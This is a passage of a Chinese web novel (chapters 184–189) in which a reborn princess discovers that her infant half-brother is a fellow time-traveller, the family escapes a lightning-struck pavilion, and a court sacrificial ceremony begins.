徐嬷嬷赶紧安抚:“这世上哪有儿子不亲近生母的呀?小世子是年纪小,不懂而已,等他再大些,肯定会天天黏着您。至于小郡主,老奴之前也想不通,为什么小世子偏偏只黏着小郡主,可现在啊,老奴想明白了。” “哦?”秦芷嫣很感兴趣:“你说说,这是为何?” 徐嬷嬷笑呵呵道:“王妃您不知道,民间那些老人常说,这越小的孩子,越是能看到我们大人看不到的东西。所以老奴觉得,或许小郡主真是下凡历劫的仙女呢,小世子能看到她身后的功德金光,只要待在郡主身边,也能沐浴到功德金光,会觉得舒服,所以这…可不就只亲近小郡主吗?” 秦芷嫣恍然大悟的点点头,并对此深信不疑:“你说得没错,定是如此!” 徐嬷嬷再接再厉:“所以呀,小世子愿意待在小郡主身边,这可是好事呢!” 秦芷嫣被这老奴逗乐了,掩唇一笑:“我这不是怕累着蕊蕊吗,她也是孩童,还是需要人照顾的年纪呢,哪能照顾别的孩童。” 徐嬷嬷给她出主意:“那老奴再多少两个奶娘去伺候着?” 秦芷嫣点点头,应了下来:“也好,别累着蕊蕊了,但这奶娘也别太多,再多找一个吧,别扰了蕊蕊清净。” … 唐蕊抱着小辉泽回到翠微阁,照常洗澡上床睡觉。 没一会儿,奶娘也抱着香喷喷的小团子来了。 小团子今天醒得有点久,虽然还想继续盯着唐蕊,可是有点力不从心,没一会儿就睡了过去。 唐蕊就和平时那样,当他不存在,自己睡自己的。 直到半夜三更,唐蕊才缓缓睁开眼睛。 此时守夜的奴婢都在屋外,奶娘也在偏房休息。 唐蕊侧头看着身边的小豆丁,伸手一弹他的脑瓜崩。 这一弹完全没留力气,小豆丁被闹醒了,迷迷糊糊睁开眼睛瞅着她。 三秒后,嘴巴一瘪就要哭。 唐蕊早有准备,不紧不慢摸出枕头底下的剪刀轻轻抵住他的脖子。 小豆丁张开嘴巴,都已经摆好姿势了,可唐蕊这一下,让他浑身都僵住了。 怎么的? 莫名其妙出现的长姐终于忍不住要对他动手了吗? 不是,他才一个月啊,重活一世,不会死这么早吧? 一时间,小豆丁脑子里闪过N个想法,视线左右飘忽,脸色不断变换。 唐蕊用匕首拍了拍他肉嘟嘟的小脸,笑眯眯道:“亲爱的弟弟,现在我问你答,不要哭知道吗?不然,我这剪刀可不长眼哦。” “啊…哦…啊…”小豆丁悲愤的瞪着她,小嘴里吐出几个音节。 老子都还不会说话,怎么答?啊?你告诉我怎么答? “哦,对了,你还不会说话!”唐蕊像是才想起来这一茬似的,点了点头,又道:“那我猜,要是猜对了,你就眨眨眼,如何? “嗯?”唐蕊见他不配合,危险的眯起眼眸,剪刀滑落小脸,重新抵住了他的脖子。 小辉泽没办法,只能悲愤的眨了眨眼,表示同意了。 他是真怕唐蕊把他嘎了。 毕竟,谁也不能保证,再死一次还会不会有重生一次的机会。 他赌不起! “这就对了嘛!”唐蕊达到目的,又重新展露笑颜,开始进入正题:“第一个问题,你是穿越的吗?” “…”怎么拿着就是这种死亡问题? 小辉泽迟疑片刻,眨了一下眼睛。 等等! 小辉泽后知后觉反应过来穿越这个词,顿时激动了,不停的朝唐蕊眨眼睛。 你也是穿越的吗? 你是从哪个时代穿来的? 唐蕊不耐烦的拍了拍他的小脸:“别乱眨。” “…”哦,好吧! 小豆丁又老实了,看着唐蕊的眼神多了一丝亲近,少了一丝防备。 唐蕊摸着下巴继续问:“你是穿越的?我还以为你是重生的呢!” 小豆丁赶紧又眨了一下眼睛。 “嗯嗯?”唐蕊迷糊了,随口一问:“你不会是想说,你是穿越过来后死了,又重生了吧?” “!!!”对对对,我就是这个意思! 小豆丁用力的眨了一下眼睛! 唐蕊:“…”好家伙。 我以为我是天之娇女,这个世界的女猪角! 感情只是一个配角。 你才是真正的天之骄子啊! 唐蕊现在对小豆丁真的有些好奇了:“你是龙国人?” 小豆丁赶紧眨了一下眼睛。 唐蕊继续问:“龙国哪里?S东?H北?雾都?G西…” 一连念了好几个地区,小豆丁都没眨眼睛。 唐蕊皱了皱眉,终于念出了那个最不愿想起的地区:“Z…江?” 小豆丁激动的眨了一下眼睛。 “…”怎么会这么巧? 唐蕊心里有点发慌,死去的记忆如潮水般攻击着她,她眼底充斥着小豆丁看不懂的情绪。 良久,唐蕊才艰难问道:“Z江…花溪村…?你别告诉我,你姓李?” 小豆丁更激动了,不停眨着卡姿兰大眼睛。 你知道我对不对?我就知道你一定听说过我! ‘啪嗒…’ 唐蕊手里的剪刀掉落,愣愣的看着这个小豆丁,终于艰难吐出了那个名字:“你…李光宗?” 小豆丁眼睛眨得更欢快了! 没错没错! 我,就是曾经的高考状元,以742高分被清北录取的李光宗啊! 唐蕊大脑嗡嗡作响,就像是被人锤了一拳似的。 小豆丁不知道她的心情有多复杂,还在不停眨眼睛,嘴里也开始咿咿啊啊。 你是谁? 你也是Z江的吗? 当年记者采访我,你是不是也从电视上看到我啦? 同乡,我苦啊! 我辛辛苦苦考上了清北,可是在去学校的路上被一个花盆砸死啦,我踏马连清华的大门都没摸到啊! 再次睁眼,我就到了这个破地方,爹不疼,娘一个恋爱脑,皇爷爷逼着我学各种四书五经治国之道,才十四岁,皇爷爷就被姜后毒死,无奈之下把我扔上皇位。 没过一年好日子,司徒霄又带人造反,把我嘎啦! 许是他太过激动,动静太大,惊动了外面守夜的奴婢:“好像是小世子醒了,快去叫奶娘,小郡主大病初愈,可别扰了小郡主休息。” 第185章 同父异母的弟弟 唐蕊强迫自己收回思绪,面对激动的小豆丁,压低声音嘱咐了一句:“等你会说话了,再好好跟我说说,现在你收敛点,不要老是缠着我,也不要用不属于你这个年纪的眼神看着我,爹爹和顾庶母可不是蠢人,你这样迟早会被他们看出来,懂?” 小豆丁闻言冷静下来,一脸严肃,不停眨巴着眼睛,还艰难的点了点小脑瓜。 老乡,多谢你告诉我,我以后一定注意! “你快睡吧,放心,我不是坏人,也真的是爹的女儿,不过我是胎穿的。好了,奶娘该来了,你老实点!”唐蕊扔下这话,捡起剪刀藏好,赶紧闭上眼睛。 小豆丁也老实下来,却还是按捺不住激动的心。 没一会儿,奶娘来了,匆匆抱起他去外间喂奶,不想吵到唐蕊。 唐蕊虽然闭着眼,却怎么都睡不着了。 李光宗… 不是别人,正是她那个同父异母,刚生下来不久,就被她送到偏远山村去的亲弟弟。 现在的她还不知道这个弟弟这么争气考上了清北,毕竟她在解决完家里那三口之后的一年就嘎了。 那一年里,她虽然没有去看过这个弟弟,却一直让人在暗中默默关注着这个弟弟的成长。 毕竟,只有这个弟弟是最无辜的。 可面对杀母仇人的儿子,她真的没办法做到无动于衷。 这个世上是有原罪这种东西的,有些人一出生就带着原罪,就像是弟弟一样。 她不能放过他,却又遭受不住良心的谴责… 监视的人不是说那姓李的一家对弟弟很好吗? 为什么弟弟也死了? 唐蕊后知后觉反应过来,弟弟的智商不像是一个普通的孩童,他能记得自己是从现代穿来的。 那他…长大后才死的? 一时间,唐蕊心乱如麻,不知道该怎么去面对这个曾经的血亲。 不知过了多久,奶娘抱着小豆丁轻手轻脚进来了,重新把小豆丁放在唐蕊身边。 小豆丁被唐蕊吵醒折腾了好一会儿,现在喝饱了奶,困意来袭,慢慢睡了过去。 等奶娘出去后,唐蕊才转身看着他,眼底翻涌着复杂的情绪。 良久,她缓缓伸出手放在了小豆丁的脖子上。 小豆丁似乎察觉到了不舒服,小眉头皱了皱,嘴里吐出一个小泡泡。 这愚蠢的样子,不禁让唐蕊想起继母生产那日,她赶到医院,第一次看到亲弟弟的场景。 那个时候禽兽爹很开心,看到她却一秒变脸,骂她是个没良心的白眼狼,继母怀弟弟那么辛苦,都不来照顾继母。 继母居高临下冲她笑得不怀好意,眼底满是鄙夷,还不停添油加醋拱火。 最后,她被禽兽爹打了一耳光! 只有这个小豆丁,捏着小拳拳,睡得喷喷香,和现在一样,嘴里吐着泡泡… 那个时候她还自嘲的想着,这个病房里唯一对她没有恶意的,竟然只有这个孩子。 唐蕊深吸一口气,慢慢松开了小豆丁的脖子。 翻涌复杂的心情也逐渐平复下来。 前世怨,前世毕,罢了… 这一世还有做姐弟的缘分,又何尝不是老天在补偿她上一世的遗憾呢? 窗外乌云散去,月牙纯净无暇,高挂枝头。 柔和的月光倾泻,整个京城笼罩在一片月华之中! … 几天时间一晃而过,璃王府又恢复往日的宁静与欢快。 有了唐蕊的警告,小豆丁倒是收敛了很多,但还是不想离开唐蕊,非要跟她睡。 老乡见老乡,他有太多太多的话想问唐蕊。 可他还不会说话,只能憋着,别提多难受了。 秦芷嫣也渐渐开始下床走动了,在床上躺太久,马上又是祭天的大日子,必须要到场的。 翠微阁距离她的院子最近,所以秦芷嫣现在每天的工作,就是去唐蕊院儿里晃晃。 几个女人也没闲着,没事就来看唐蕊和小豆丁。 现在,只有唐蕊的翠微阁是最热闹的。 司徒澈每次回家来到唐蕊院儿里,无疑是最放松的时候。 妻妾在一旁有说有笑,相处融洽。 女儿乖乖的待在她们身边,逗着秦芷嫣怀里的小豆丁,嘴巴也一直没闲着。 有一次他来,唐蕊甚至还在院里架起了烧烤架。 几个女人忙得团团转,小豆丁在摇篮里,一直望着,咬着手指,口水直流。 只是看着,就忍不住想笑! 他从没想过,自己有一天也能过如此惬意又安宁的生活。 只是,一到要睡觉的时候,就不清净了。 秦芷嫣已经生下了儿子,几个女人非常殷勤,今天送这个汤,明天送那个汤。 有时候还会撞到一起。 偏偏他现在管着兵部和黑鳞骑,前段时间去寻神医谷,公务堆积太多,实在没有心情。 这不,汤喝太多,他终于流鼻血了。 女人们得知这个消息,这才渐渐消停下来,只是难掩心情失落。 明月察觉到了他的烦恼,背着他悄悄向唐蕊求助。 他的发问一向很直白:“有没有让男人龙精虎猛一晚上的药。” 正抱着小豆丁念诗给他听的唐蕊:“…” 怀里的小豆丁:“…” 可恶! 你一个大老爷们,怎么能跟我姐说这个? 你不要脸我姐还要脸呢! 小豆丁立刻朝明月伸出手。 明月受宠若惊,根本没想到小豆丁会使坏,小心翼翼的抱了过来。 然后…小豆丁尿了他一身! 明月惊呆了! 唐蕊无语了! 小豆丁无齿的咯咯直笑! 明月赶紧把小豆丁扔给唐蕊,一溜烟跑下去换衣服了。 唐蕊捏了捏小豆丁的脸蛋:“你别欺负明月哦,他很单纯的!” 小豆丁挥动着小拳头抗议:“啊啊…啊哦…” 他有老子可爱吗? 姐姐看我,我可爱多了,你别看那个臭男人! 他太老,配不上你! 都死过一次的人了,咱得吃点好的! 没办法,唐蕊说过,她是胎穿的。 这说明她芯子是个成年女人。 一个成年女人,喜欢的应该就是明月这种年纪的男人! 他得时刻防备着,不能让这两个人之间燃起小火苗! 唐蕊可不知道他这些小心思,笑眯眯的抱着他摇晃,唱起家乡的歌谣。 “小背篓,晃悠悠,笑声中,娘亲把我背下了吊脚楼~” 第186章 出发祭天,换住处 小豆丁听得很认真,不时还跟着咿咿啊啊。 容嬷嬷和幻蝶在一旁看得直乐呵,听熟了,还会跟着哼。 还别说,这歌挺好听的。 她们郡主就是博学多才哈,能编曲,能作诗,还能写小话本。 上次写的那本,早就火爆京城了,可惜只有三十本,根本不够。 现在戏院茶社里,隔三差五演一场,都是满座。 … 日子就这么过去,眨眼间,到了祭天这天。 每家每户百姓都换上了自己最好的衣服,天还没亮就站在街道两边候着。 终于,铜角声响起,宫门大开! 皇帝的龙辇走在最前面,随后是贵妃,姜妃,及其宫中各个嫔妃的轿辇和马车。 然后是几位王爷的马车,再后面是随行的文武百官,以及各家亲眷的马车。 羽林军精神抖擞,纷纷跑向前开路。 大队伍浩浩荡荡,所过之处百姓们齐刷刷跪了一地,高呼万岁,天佑大夏! 唐蕊也是一身郡主正装,微微掀开车帘看着这一幅壮观的盛世之景。 嗯! 有万国来朝内味了! 秦芷嫣把小豆丁递给徐嬷嬷,赶紧让唐蕊放下车帘,并叮嘱道:“蕊蕊,今天可不能有一丝行差踏错啊!” 唐蕊嘿嘿一笑:“我知道哦,我就是觉得有点震撼,怪不得一个个都想做皇帝呢,确实很风光哈!” “咿呀…咿呀…”小豆丁也不知道是在抗议还是想告诉些唐蕊什么,在徐嬷嬷怀里手脚乱舞,一点都不老实。 秦芷嫣赶紧捂住她的嘴:“还胡说,这话要是让别人听到,又要闹出幺蛾子了。” 唐蕊扒开她的手,很是无语:“车里就我和母妃哦,换成别人,我可不敢说!” “你这丫头!”秦芷嫣娇嗔的瞪了她一眼,戳了戳她的脑门。 一队伍一路朝东旭山前进,那是京城最高的山峰,也是历代大夏皇帝祭天的地方。 皇家园林和天坛,也修建在那座山上。 这一路上,都是跪着的百姓,直到到了山脚下,有羽林军守着了,百姓们的身影才消失。 看来对于国运这块,百姓们也很看重。 毕竟大多都是农民,靠天吃饭的。 万一有个什么灾,对他们来说也是毁灭性的打击! 上山的路并不好走,不过这也不关唐蕊的事,只是下面伺候的人和拉车的马辛苦一些。 一段距离过后,唐蕊一行人下了马车,换上轿辇。 接下来就是纯阶梯了,马车也上不去。 不知折腾了多久,临到午后,唐蕊终于看到了皇家园林。 每个人住什么地方,早就安排好了的。 一家人刚下来,就有小太监过来,领着这一大家子去秋水阁。 那是距离皇帝较近的殿宇,也是司徒澈这几年来专用的殿宇。 只是这次,快到秋水阁的时候,一直乖乖的小豆丁却哇的一声哭了出来。 “怎么了?”司徒澈回头看了过来。 “妾身也不知道,这也没尿啊!”秦芷嫣抱着孩子,捏了捏他的小裤裆,又把他递给奶娘:“是不是饿了,你一会儿给小世子喂喂奶。” “是!”奶娘伸手就去接豆丁。 可小豆丁一点面子都不给,使劲挣扎起来,哭声也越来越大。 “哎哟,别哭了,小祖宗!”秦芷嫣急坏了,不停安抚。 没卵用! 小豆丁不听不听就不听,扯着嗓子鬼哭狼嚎,脸都憋红了。 司徒澈也凑过来逗儿子,却被手舞足蹈的儿子甩了一个大嘴巴子。 呃… 一群女人面面相觑。 嚎啕大哭的小豆丁哭声都顿了顿,反应过来不对后,又继续扯着嗓子哭。 司徒澈:“…” 不痛! 就是有点尴尬! 当老子的被儿子打了! 秦芷嫣心疼坏了,赶紧去看司徒澈的脸:“爷,还好吗?” “没事…”司徒澈皱眉看着小豆丁,第一次觉得儿子不如女儿顺眼。 要是唐蕊,才不会动不动就哭,一点都不分场合! 唐蕊倒是不这么想。 司徒辉泽并不是普通小孩子,他这样…与其说是在闹脾气,不如说是…在抗拒… 唐蕊突然福至心灵,问那带路的太监:“有没有别的殿宇?” 果然,这话一出,司徒辉泽的哭声都小了一个度。 唐蕊确定了,虽然不知道什么原因,但这殿宇不能住:“我弟弟好像不喜欢住这个殿宇,能给我们换一个地方吗?” “啊…这…”太监为难了:“回郡主,住处是早就安排好的,这突然想换,奴才也不知道该跟谁换呀!” “七皇弟,不想住秋水阁,孤可以跟你换啊!”司徒霄的声音传来。 司徒澈一家人抬眸看去,就见他也带着一大家子走了过来。 那气宇轩昂的样儿,不知道的还以为他要去登基呢! 司徒澈皱了皱眉,还没开口,唐蕊就抢先一步道:“好哇好哇,爹爹,我们跟太子叔叔换吧!” 这话一出,司徒辉泽的哭声彻底消失了。 唐蕊:“…”这殿宇绝逼有问题! “可以!”女儿都开了口,司徒澈自然要满足:“太子皇兄既然喜欢,那就换吧!” “呵呵…有些人啊,就算给他机会,他自己也不争气,七皇弟,你说是不是?”司徒霄内涵了司徒澈一句,鄙夷的笑了笑,带着自己一大家子人大摇大摆进了秋水阁。 带路的太监无奈叹息:“璃王爷,秋水阁可是离万岁爷的龙吟阁最近的殿宇啊,来之前万岁爷还特意叮嘱过奴才们,要把秋水阁收拾干净,还挂上了您喜欢的名家画作。您看这…” “没事!”司徒澈笑道:“住哪里都是一样,只要本王的儿女开心就好,带路吧!” “是,太子殿下住在东边的紫翠水榭,王爷,王妃,各位贵人,奴才为您们带路!”带路太监做了个请的手势,司徒澈一行人跟着他离开。 太子的住处紫翠水榭不如秋水阁奢华,倒也清新雅致。 小豆丁这次不哭了,甚至还不停向前伸着小手咿咿呀呀。 秦芷嫣打趣道:“王爷您瞧,小世子很喜欢这里呢!” “小崽子,怎么跟姑娘家一样娇气?住哪里不是住?”司徒澈笑骂了一句,轻轻弹了弹他的脑瓜崩。 第187章 上一世我们都好惨的 司徒辉泽看着他眼底的笑意,愣住了,还有点想哭。 记忆中的爹爹就是个阴暗批,从不曾这样对他笑过,更没抱过他。 可这段时间相处下来,爹爹好像变了个一个人。 他就像一个真正的父亲,与他无数次幻想出来的父亲一模一样。 “咿呀…”司徒辉泽朝司徒澈伸出小手。 司徒澈笑了笑,先是把唐蕊抱起来,放在脖子上,又才接过他,笑盈盈的踏入紫翠水榭! 那伟岸的背影,让一众女人忍不住脸红心跳,满心欢喜的跟了上去。 … 这边刚换了住处,皇帝那边下一刻就知道了。 不过得知是辉泽哭闹后,皇帝也笑着摆摆手作罢了,并让陈德福送了一些赏赐过去,当做安抚。 他对这个孙儿寄予厚望,自然多疼一些。 司徒澈都不知道,以前他不停往璃王府塞女人,就是想让司徒澈生下个儿子,继承大夏江山。 爹不行,那就儿子来,一样的。 现在,司徒澈腿好了,还锦上添花的有了儿子,他也没了任何顾虑。 他的江山,迟早会落在这父子里肩上的。 至于辉泽是不是成器的,这一点皇帝一点都不担心。 他儿子的种,能是不成器的吗? 再说了,还有唐蕊呢,肯定会好好教导小辉泽。 江山交给这对父子,至少能繁盛一百余年。 皇帝越想越开心,眼前似乎出现了大夏国泰民安,良田数之不尽,百姓安居乐业,夜不闭户,路不拾遗的景象。 晚上去高贵妃那,晚膳都多用了一些。 然而,就在晚上,出事了。 祭天是明天,太子是这次祭天的主持人,在东宫的时候,已经提前七天开始沐浴净身了。 就等明日主持祭天大典,为大夏祈福。 谁知,三更的时候,天降惊雷,还好巧不巧的砸在了秋水阁屋顶上。 秋水阁起火,太监宫女们乱作一团,羽林军们就近打水,不停灭火。 “走水了!”太监尖细的声音,响彻皇家园林。 所有人都被惊醒,司徒澈一家也不例外。 听说是秋水阁起火,司徒澈一脸莫名。 几个女人心有余悸,秦芷嫣脸色发白,腿一软后退一步,呆呆的坐在椅子上。 伤亡都是其次的,这种时候住处起火,还是天降雷劫引发的火势,这难道不是老天对此人不满吗? 这种事根本瞒不住的,一旦传出去,绝对会引发民怨。 “还…还好…还好…王爷,还好我们跟太子换了住处,不然就遭了!”秦芷嫣一脸后怕。 司徒澈脸色凝重:“是啊,这次多亏辉泽!” 他不信神佛,自然不会认为这雷只追着太子跑。 要不是辉泽哭闹,住在秋水阁的就是他们一家了:“你们该休息就休息,本王去看看。” “是!”几个女人纷纷应道。 但这种时候,谁睡得着啊! 她们没了睡意,坐在前厅等消息。 唐蕊没吵她们,说了一声,就带着辉泽回屋休息去了。 到了房中,唐蕊洗漱后挥走了所有下人,这才有空问辉泽:“你知道秋水阁会被雷劈?” 小辉泽眨了眨眼睛:“咿呀…” 上一世秋水阁就是被雷劈了,起火。 可上一世司徒澈没有住紫翠水榭,就是住的秋水阁,成了所有人讨伐的对象。 皇帝花了好大的功夫,才把这件事压下去。 可谁知,祭天过后,天降大雨,持续了整整半个多月。 不光是京城,大夏半数地区全都遭遇了这场持续性大雨。 很多地方洪水冲毁了堤坝,淹没了庄家,百姓死伤惨重,民不聊生,背井离乡开始逃荒。 那段时间,京城街上随处可见流民。 司徒霄母子俩又适时把秋水阁被雷劈的事放出去,司徒澈就成了这一切的罪魁祸首,屡建奇功的大夏战神,沦为人人喊打的灾星! 哪怕最后皇帝还是以一己之力把他这个皇太孙送上了皇位,哪怕他在位期间矜矜业业,功绩赫赫,百姓们也都不买账,骂他是灾星的儿子。 这件事,成了他一生撕都撕不掉的污点。 未来不管发生什么天灾,都会算到他头上。 最后更是在他十四岁那年蝗灾后,司徒霄利用此事带人造反,把他这个才十四岁的皇帝,钉死在了龙椅上。 没有百姓为他难过,他们都在欢呼,歌功颂德司徒霄为民除害。 没人记得他种种功绩,只记得他是灾星的儿子。 史官更是抹杀了他的一切,给他冠上衰皇的称号。 可没想到… 司徒霄为皇之后,残忍暴虐,亲小人,远贤良,每天只知道寻欢作乐,挥霍无度。 不过短短五年,北狄铁骑攻破京城! 嘿! 你猜怎么着? 司徒霄居然带着一大家子跑了,留下满城百姓,还有皇室宗亲。 北狄铁骑闯入皇宫,金枝玉叶的公主们被辱,就连已经年老色衰的太妃们,他们都没放过。 宫里宫外,只要是个母的,他们都… 可怜了大夏百姓,他们或许从来都没想到,自己有一天也会步南蛮后尘。 司徒辉泽当时死了,魂儿还在空中飘着呢。 看到这一切,心情无比复杂。 本来司徒辉泽很恨这些百姓的,但看到他们被北狄人各种虐杀,他心里那股怨气也渐渐消散了。 余下的,只有对司徒霄的恨! 大夏灭亡,都怪他! 这一世,他绝不会放过司徒霄,更不会让他坐上帝位。 可惜,他现在还太小,说不了话,也不能告诉唐蕊这一切,只能像今天这样哭一哭闹一闹,尽量改变一家人的命运,改变大夏的国运。 他不知道的是,虽然他没说,唐蕊也能猜到一些了,叹息一声:“上一世,我们一家人是不是过得很不好?” “啊…咦啊…”司徒辉泽眼圈红了,看上去委屈巴巴。 岂止是不好,老爹被司徒霄害死,还不许他葬入皇陵,就那么暴尸荒野。 百姓们就差拿着鞭子鞭尸了。 另外几位王叔也差不多,司徒霄登基后,第一件事就是把他们全部赶尽杀绝。 姐啊,你都不晓得,上一世我们都好惨的! 唐蕊轻拍着他的后背:“放心吧,姐姐在呢,会保护你,保护我们一大家子的!” 第188章 感谢老天给他一对这么顶事儿的儿女 “嗯哦…嗯哦…”司徒辉泽吃力的伸出小手抓住她的手指。 姐姐最好,等我长大了,也会保护你的! “好啦,快睡,你今天都没怎么休息,当心以后长不高哦!”唐蕊心里五味杂陈。 她对这个孩子,一直都心怀愧疚。 可前世出于对爸爸和继母的怨恨,她从没认真的看过他一眼。 送他离开那天晚上,她取下自己从小带到大的玉佩放在了襁褓中,也无视了这个孩子朝她伸出来的小手,以及那毫无杂质的笑脸,便把他扔给了保镖。 现在,再看这个孩子的脸,唐蕊眼底只剩怜惜和一丝微不可见的歉意。 “弟弟乖,睡觉觉,长高高…” 司徒辉泽听着她稚嫩的声音,惬意的打了个呵欠,上下眼皮也开始不停打架了。 好吧好吧,但是明天要告诉我结果哦,我想看司徒霄倒霉! … 司徒霄确实很倒霉。 司徒澈与几个王爷赶来的时候,火已经灭了。 皇帝站在一边,一脸阴沉。 司徒霄灰头土脸跪在他面前,脸色发白! 他的女人团和两个孩子傻愣愣的杵在一边,一个个脏兮兮的,明显还没从这场变故中回过神来。 “霄儿,霄儿…”姜妃匆匆而来,路过司徒澈身边的时候看都没看他一眼,直直冲向司徒霄,不停打量着他:“有没有受伤?啊?有没有哪里不舒服?” “没有…”司徒霄摇摇头,很是委屈:“母妃,儿臣也不知道为何会发生这样的事。” “不怪你,不怪你…肯定是有人蓄意陷害!”姜妃自言自语,言罢猛地抬头看着司徒澈,眼神凶狠:“是不是你?秋水阁一直都是你的住处,为何偏偏你皇兄住进来就出了这样的变故?你到底做了什么?” 莫名躺枪的司徒澈一脸懵逼的指着自己,都气笑了:“母妃,你还真当儿臣无所不能了?这可是天罚,儿臣要是有控制雷鸣的本事,早就灭了北狄了,那么多大夏男儿又何必去战场送死?” “胡言乱语!”姜妃才不信,认定是他了:“霄儿一直循规蹈矩,从无不敬上苍之举,上苍怎会降下天罚?定是你做了什么手脚!” 司徒澈没好气道:“那么请问母妃,什么手脚能让雷鸣精准的劈到秋水阁啊?儿臣才疏学浅,实在是不知道呢!” “你…你…”姜妃被他噎得说不出话来。 辰王淡淡道:“姜妃娘娘,知道您关心太子,但也不能红口白牙污蔑好人吧!这秋水阁,七皇弟每年住都没事,偏偏太子一住就出了事,难道不应该从太子身上找原因吗?” “对!”睿王也接过话来,煞有其事道:“父皇,肯定是上苍不满太子皇兄以此示警啊,这次祭天还是换个人操持吧!” “不可!”姜妃脸色骤变:“皇上,太子已经连续沐浴焚香七日,做好了一切准备,明天就是祭天的大日子,若是现在换人,误了吉时,上苍怪罪下来,那才是得不偿失啊!” 襄王没好气道:“那怎么办?上苍明显不满太子,若还是让太子操持祭天仪式,上苍就不会怪罪吗?” “这…这肯定是意外,绝不是上苍的旨意,望皇上三思!”姜妃好不容易才为司徒霄争取到这个机会,说什么都不会轻易放过。 她从没想过今年会有什么大灾,毕竟这几年来大夏一直风调雨顺。 她只想着,要借着祭天一事,为司徒霄挽回失去的民心。 皇帝沉吟片刻,看向不远处那些脸色各异的朝臣:“众卿以为如何?” 朝臣们互视一眼,纷纷发表自己的意见。 当然,保皇党站在百姓的立场上,宁可错杀也不放过,想要换人主持。 太子党却一直坚持太子主持,并坚信天罚这事只是巧合。 杨硫还信誓旦旦:“皇上,太子乃大夏储君,若是真惹怒了上苍,早在太子为储那一刻,上苍就已经发难了,又何必等到现在?依微臣看,这就是个巧合。” “钦天监,你来说说!”皇帝看向其中一个中年官员。 被点到名的人赶紧出列:“回皇上,天意难测,微臣…也估算不出!” “…”懂了,一切照旧是吧? 行,既然姜妃这么希望太子做这个替罪羊,那就满足她! “要你何用!”皇帝挥挥手,沉吟片刻才道:“姜妃,朕就再相信你一次。太子,你可别让朕失望!” “儿臣遵旨!” “谢皇上!” 母子俩默默松了口气。 皇帝离开,朝臣散去。 几个王爷见没热闹看了,也各回各宫殿。 秋水阁不能住人了,小太监又为司徒霄安排了别的宫殿。 只是现在好一点的殿宇都住了人,司徒霄最后只能住进偏远简陋的霜华殿。 这地方…只能说五品官都住得比他好,偏偏这个节骨眼上他还不敢发作,只能憋屈的受着。 司徒澈回到紫翠水榭时,几个女人都没睡,看到他立刻迎了上来。 知道她们担心,司徒澈一番安抚,才让她们各自睡觉去。 而他,则是来到唐蕊住的院子。 里面烛火微弱,守夜的是幻蝶。 看到司徒澈,幻蝶反射性就要喊人。 司徒澈却朝她比了个噤声的手势。 幻蝶默默闭嘴,福了福身子,压低声音:“王爷万福!” 司徒澈点点头,来到门口:“郡主和世子睡了?” 幻蝶:“是,小世子在郡主面前很乖,不吵也不闹,屋里已经许久没动静,想来是睡着了。” “好好照顾他们,本王先回去休息了。”司徒澈扔下这句,又看了看屋内柔和的烛火,心情有些微妙。 他今天突然意识到,一直以来,他好像都被自己的子女保护着。 先是唐蕊,现在又是司徒辉泽。 今天若不是辉泽哭闹,灰头土脸的就是他了。 不仅如此,这件事估计很快就会传出去。 到时候太子的名声… 啧… 想想就可怕! 阿米豆腐,感谢老天给他一对这么顶事儿的儿女。 他实在是太幸运了。 反观司徒霄,刚安顿好,姜妃就来了。 司徒霄此时已经开始自我怀疑了,心情很是忐忑啊:“母妃,今年…真的无灾吗?” 第189章 什么叫置之死地而后生 其实他更想问,自己到底有没有触怒老天。 姜妃冷声道:“瞧瞧你这没出息的样子,母妃早就问过钦天监了,今年没有灾,你就放心好好操持祭天大典便是。” 司徒霄想起那雷,就忍不住忧心:“可靠吗?万一…” “没有万一!”姜妃无比自信,并对这个儿子怒其不争:“要不是你在民间声望一落千丈,母妃又何必让你遭这个罪?你乖乖的,明天可千万不要出岔子。” “儿臣谨遵懿旨!”司徒霄恭敬应下。 然而,等姜妃离开后,司徒霄才收起那副懦夫样,缓缓坐下,心里一番权衡利弊。 烛光照得他的侧脸忽明忽暗,看不出喜怒。 屋外,一片黑暗中,小小的身影踩着月色而来,在门口站住了脚步:“父王,儿子心里有种不好的预感,这祭天一事,还是能躲则躲!” “孤知道!”太子眯起眼眸,把玩着玉扳指,漫不经心道:“本以为能依靠母妃,坐稳这个位置,但现在看来,母妃也不过是愚昧无知的妇人。恢复声望的方法千千万,她却非要孤用未来孤注一掷,万一满盘皆输,岂不是得不偿失?” 司徒谨眉梢一扬:“看来父王已有谋算?” “呵…”司徒霄轻笑一声,没有细说:“回去吧,明天孤就教教你,什么叫置之死地而后生!” … 翌日! 铜角的声音响起,在连绵起伏的山脉间不断回荡! 天坛广场上,皇帝的龙辇停在不远处,默默的看着这一切,浑浊的老眼里散发着精光。 司徒霄身着明黄太子服,神色庄重的走上祭台,四爪金蛟在阳光下熠熠生辉。 几个王爷与司徒安也依次入列,都是一身正装,神色庄重。 就连平日玩心大的司徒安今日也一本正经,独属皇子的气质拉到了满级。 紧接着,是高贵妃带领的各宫嫔妃与皇室公主,皇室宗亲,最后才是文武百官与他们的家眷。 唐蕊属于皇室宗亲的范围,还是一群郡主里品阶最高的,于是…小小的人儿,乖乖杵在一堆郡主最前头,体验了一把领头羊的滋味。 然而,掀开衣摆跪下那一刻,隐隐可见她膝盖上套着的‘跪得容易’。 多看电视剧还是有点好处,至少能少遭点罪。 天气这么大,这个时辰正是太阳升起的时候,她这郡主宫装又繁复厚重,至少七层。 就这么一会儿,她已经热得不行,想罢工不干了。 可她不敢! 这才刚开始呢,除了祭天操持者太子,其他人至少要跪到太阳落山! 自己都这么难受,那… 唐蕊微微侧头看向隔得有点远的秦芷嫣。 许是才开始,秦芷嫣还没感觉到不适,跪得笔直,目不斜视。 再看她身侧,奶娘抱着司徒辉泽,也有样学样。 唐蕊眼底划过一丝担忧。 司徒辉泽太小了,这么一天下来,不死也要脱层皮。 这个想法刚刚落下,唐蕊就看到陈德福不动声色来到秦芷嫣身边,嘴巴一开一合跟她说了些什么。 秦芷嫣微微颔首,随即让奶娘把司徒辉泽递给了他。 陈德福抱着司徒辉泽,带着奶娘,穿过人群,回到皇帝龙辇前,把小辉泽递给了龙辇里的皇帝。 唐蕊狠狠的松了口气,默默收回了视线。 还好还好,龙辇里放了冰块,能遮阳还有专人打扇子,跟着皇帝混,司徒辉泽不用遭罪了。 不然这么小的孩子在这待一天,绝逼会被晒死。 当然,也有官员看到了这一幕,不过没有人敢说什么。 陈德福是皇帝身边的人,他的一举一动都是皇帝授意。 皇帝的意思,谁敢反驳? 只能睁只眼闭只眼了! “祭!”随着司仪太监尖细的嗓音响起,整个广场一片肃静。 司徒霄来到祭台前,按照既定的规矩,虔诚地献上祭品,诵读祭文。 